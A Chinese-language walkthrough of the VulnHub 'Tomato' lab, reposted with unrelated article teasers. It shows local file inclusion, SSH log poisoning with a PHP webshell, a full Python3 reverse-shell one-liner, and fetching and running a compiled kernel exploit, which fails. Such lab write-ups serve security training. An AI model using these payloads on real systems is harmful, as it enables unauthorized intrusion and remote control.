vulnhub靶机:Tomato

news2024/11/13 15:22:48

目录

靶机导入

信息收集

发现 IP

目录扫描

端口扫描

访问 web

漏洞利用

方法1:报错连接拿 shell

方法2: 使用python3进行反弹shell

提权


靶机导入

tomato 下载地址:Tomato: 1 ~ VulnHub

信息收集

发现 IP

arp-scan -l

发现靶机 IP 是 192.168.109.148

攻击机 kali 的 IP 是 192.168.109.139

目录扫描

dirb http://192.168.109.148/

端口扫描

nmap -sC -sV -O 192.168.109.148

发现开放了 21、80、8888 端口

访问 web

访问扫目录扫出来的 antibot _image目录

http://192.168.109.148/antibot_image/

右击查看info.php的网页源码,发现存在文件包含漏洞

漏洞利用

在URL后面拼接?image=/etc/passwd (用image参数传入想要获取的文件路径)

?image=/etc/passwd

成功显示,说明存在文件包含漏洞

发现端口没有全部扫描出来,重新扫一下

-A:这个选项启用了“侵略性扫描”,包括操作系统检测、版本检测、脚本扫描和跟踪路由等功能。侵略性扫描通常会提供更多的信息,但也可能引起目标系统的注意。

-p-:这个选项告诉 nmap 扫描目标系统上的所有可能的端口。扫描所有端口可能会耗费一定的时间,但可以全面了解目标系统上开放的哪些端口,以及哪些端口可能存在漏洞。

nmap -p- -A 192.168.109.148

扫描出来2211,是ssh的连接端口

方法1:报错连接拿 shell

kali 2024 版本的会报错,2023 版本的可以

我这里由于 kali 的版本不能使用此方法,就拿 centos7 操作了

ssh '<?php @eval($_POST[1]);?>'@192.168.109.148 -p 2211

然后在网页端查看ubuntu报错信息:/var/log/auth.log,/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

?image=/var/log/auth.log

该目录下发现多了一些报错信息,大概率写入木马成功

用蚁剑连接试试

?image=/var/log/auth.log

成功拿到整个网站的目录信息

方法2: 使用python3进行反弹shell

写入一句话木马:

ssh '<?php echo system($_GET["aaa"]); ?>'@192.168.109.148 -p 2211

尝试通过 SSH 连接到 IP 地址为 "192.168.109.148" 的主机,使用用户名 '<?php echo system($_GET["aaa"]); ?>',并指定端口号为 2211。

这个用户名包含了 PHP 代码,具体来说,它尝试通过 PHP system 函数执行传递给它的参数,而参数来自于 URL 查询字符串中的aaa 参数。这可能是一个恶意操作,用于尝试在远程主机上执行恶意命令或代码。

拼接下面命令访问成功,说明一句话木马写入成功

?image=/var/log/auth.log&aaa=id

在kali打开监听端口:nc -lnvp 4444

nc -lnvp 4444

使用python3进行反弹shell,在浏览器中拼接下面命令进行访问

?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali监听到操作,成功获得靶机shell

使用下面命令生成可交互式的shell

python3 -c "import pty;pty.spawn('/bin/bash')"

提权

查看系统内核版本:

uname -a  

发现系统内核是:Linux ubuntu 4.4.0-21-generic

在kali中查找该系统内核的提权包:

searchsploit ubuntu 4.4.0-21  

尝试发现可以使用45010,下载该包

searchsploit -p 45010
cp /usr/share/exploitdb/exploits/linux/local/45010.c 45010.c
ls

此文件是.c文件,需要编译才能运行,最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序

gcc 45010.c -o exp
ls

开启http服务

python3 -m http.server 80  

到tmp目录下下载提权poc

cd /tmp
wget http://192.168.109.139/exp
ls
chmod +x exp

执行exp文件,如果执行成功则提权成功

./exp

但我这里失败了,报错提示运行的程序 ./exp 需要 GLIBC_2.34 版本的支持,但当前系统中的 glibc 版本低于 2.34 。

查看靶机的版本发现是 2.23

ldd --version

所以用此方法提权啊因为靶机的原因无法实施,就只能止步于此了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972657.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Qt】QMainWindow之菜单栏

目录 一.菜单栏 1.概念 2.组成 二.代码创建菜单栏 1.创建菜单栏 2.在菜单栏中添加菜单 3.在菜单中添加菜单项 三.图形化创建菜单栏 1.在打开Qt自带的ui文件界面后&#xff0c;得到以下界面 2.双击点击界面中&#xff08;在这里输入&#xff09;&#xff0c;在菜单栏中进行…

【开端】JAVA日志框架LogFactory

熟悉的一行代码 private static final Log logger LogFactory.getLog(Application.class); 这一行代码就是使用了LogFactory日志框架&#xff0c;对类Application&#xff0c;进行日志输出。 private static final 这里表示虚拟机启动后就创建一个最终的日志对象Log logger 创…

MySQL学习(18):触发器

1.什么是触发器 *触发器是在 insert/update/delete 之前或之后&#xff0c;触发并执行触发器中定义的SQL语句集合。 *日志记录&#xff0c;数据校验等操作使用别名 OLD 和 NEW 来引用触发器中发生变化的记录内容。OLD引用的是触发器变化前的内容&#xff0c;NEW引用的是触发…

鸿蒙Flex布局

效果&#xff1a; 代码&#xff1a; 换行代码参数设置&#xff1a; wrap:FlexWrap.Wrap Entry Component struct FlexCase {State message: string Hello World;build() {Flex({direction:FlexDirection.Row,justifyContent:FlexAlign.SpaceAround,alignItems:ItemAlign.Cen…

QT和Electron之争,谁才是王者,看看界面判断下

QT 和 Electron 都是用于开发跨平台应用程序的框架&#xff0c;但很难简单地判定谁是“王者”&#xff0c;因为它们各有优劣&#xff0c;适用于不同的场景和需求。 QT 是一个成熟的 C 框架&#xff0c;具有以下优点&#xff1a; 性能出色&#xff1a;由于是基于 C 开发&#…

Eureka详解:解锁微服务架构中的服务发现与注册超能力!

Eureka是一款由Netflix开源的服务发现框架&#xff0c;主要用于微服务架构中的服务注册与发现。在使用Eureka时&#xff0c;涉及到配置Eureka Server、配置Eureka Client、服务注册与发现等步骤。 Eureka服务端配置&#xff1a; 引入依赖&#xff1a;在项目的pom.xml文件中添加…

【秋招笔试】24-07-27-OPPO-秋招笔试题(研发岗)

🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 💡本套卷的题目都是计数相关的题,对这方…

针对一个红队病毒样本逆向分析

近日翻到一个比较新颖的样本&#xff0c;在最终后门载荷释放前运用了不少免杀手段&#xff0c;包括堆栈欺骗&#xff0c;实现反射性调用API&#xff0c;以及DLL侧加载、DLL挖空、HOOK规避等手法&#xff0c;对其执行流程和部分手法做详细分析记录。 样本概述 初始载荷 初始载…

【硬件开发】树莓派4B散热性能

树莓派4B散热性能 树莓派引脚 树莓派 40Pin 引脚对照表 rpi-pins-40-0 注&#xff1a;本表格适用于各版本&#xff0c;并且兼容26Pin的树莓派B&#xff0c;树莓派B为26Pin&#xff0c;其引脚对应于上表的前26Pin。 使用下面这款 GPIO 参考卡片&#xff0c;让引脚功能一目了…

谷粒商城实战笔记-101-分布式基础篇总结

文章目录 一、分布式基础概念二、基础开发三、环境搭建四、开发规范 分布式基础篇已经学习完成&#xff0c;包含了以下4个部分的知识&#xff1a; 1&#xff0c;分布式基础概念2&#xff0c;基础开发3&#xff0c;环境搭建4&#xff0c;开发规范 学习并掌握这部分内容&#x…

超声波眼镜清洗机是智商税吗?最好用的超声波清洗机推荐

大家知道&#xff0c;在咱们生活的环境里。到处充斥着细菌&#xff0c;像衣服上、手上等等地方都很容易被沾染上比细菌&#xff0c;很影响咱们的健康。所以大家会勤洗手&#xff0c;勤换洗衣服&#xff0c;来减少细菌病毒伤害。然而对于戒指、项链、眼镜、手表等配饰细菌&#…

软考:软件设计师 — 9.数据流图

九. 数据流图 数据流图是下午场考试中第一个题目&#xff0c;分值 15 分。通常会考察实体名、存储名、加工名的补充&#xff0c;以及找到缺失的数据流并改正等。 1. 数据平衡原则 数据流的分析依赖于数据平衡原则。 父图与子图之间的平衡 父图与子图之间平衡是指任何一张 …

mp3剪辑音乐怎么剪?手把手教会你4个音频剪辑技巧

在制作创意无限的“矿泉水瓶烟花视频”时&#xff0c;音效的选择与剪辑往往是点睛之笔。想象一下&#xff0c;那绚烂的视觉盛宴搭配上恰到好处的背景音乐&#xff0c;是否能让你的作品更加引人入胜&#xff1f; 而要精准地控制每一个音符的起承转合&#xff0c;一款强大的mp3剪…

【学习笔记】Day 1

一、进度概述 1、配置相关环境——注&#xff1a;暂未完成&#xff0c;还有部分依赖没有补充完整 2、试运行 3、《地震数据全波形反演的深度学习方法》PPT知识梳理方法地震数据全波形反演的深度学 二、详情 1、配置相关环境 深度学习环境配置参考文章如下&a…

VS+Qt+C++点云PCL三维显示编辑系统

程序示例精选 VSQtC点云PCL三维显示编辑系统 如需安装运行环境或远程调试&#xff0c;见文章底部个人QQ名片&#xff0c;由专业技术人员远程协助&#xff01; 前言 这篇博客针对《VSQtC点云PCL三维显示编辑系统》编写代码&#xff0c;代码整洁&#xff0c;规则&#xff0c;易…

HttpRequest请求对象和HttpResponse响应对象

HttpRequest请求对象 1.获取请求头 2.获取请求参数 通过请求对象获取请求头 获取GET参数&#xff08;valuerequest.GET.get(参数名称&#xff0c;默认值)&#xff09;获取POST参数valuerequest.POST.get(参数名称&#xff0c;默认值)&#xff09;获取URL参数&#xf…

C++ 预置和弃置的函数

在C11中&#xff0c;预置和弃置的函数是用于处理移动语义和完美转发的。 预置函数&#xff08;Move Constructor&#xff09;是在对象被移动时调用的构造函数。它允许将资源从一个对象转移到另一个对象&#xff0c;而不是进行复制。这可以提高性能&#xff0c;特别是在处理大型…

红酒与美食搭配:味觉的新探索

在美食的世界里&#xff0c;红酒如同一位优雅的舞者&#xff0c;与各种佳肴共舞&#xff0c;创造出无尽的味觉惊喜。当定制红酒洒派红酒&#xff08;Bold & Generous&#xff09;与各式美食相遇&#xff0c;便开启了一场味觉的新探索之旅。 一、红酒与美食的邂逅&#xff…

中国LLM研究所收集100+AI大模型资源

自ChatGPT为代表的大语言模型 (大型语言模型&#xff0c;LLM)出现以后&#xff0c;由于其惊人的类通用人工智能(AGI)的能力&#xff0c;掀起了新一轮自然语言处理领域的研究和应用的浪潮。尤其是以ChatGLM、LLaMA等平民玩家都能跑起来的较小规模的法学开源之后&#xff0c;业界…

@SchedulerLock注解使用

文章目录 Scheduled注解参数介绍建表配置类示例参考 如果服务中使用了Scheduled注解&#xff0c;且服务部署了多个节点。那么在同一时刻&#xff0c;所有节点都会执行定时任务。但有有些任务我们只需执行一次&#xff0c;这就需要使用分布式锁的方式来控制&#xff0c;如可以使…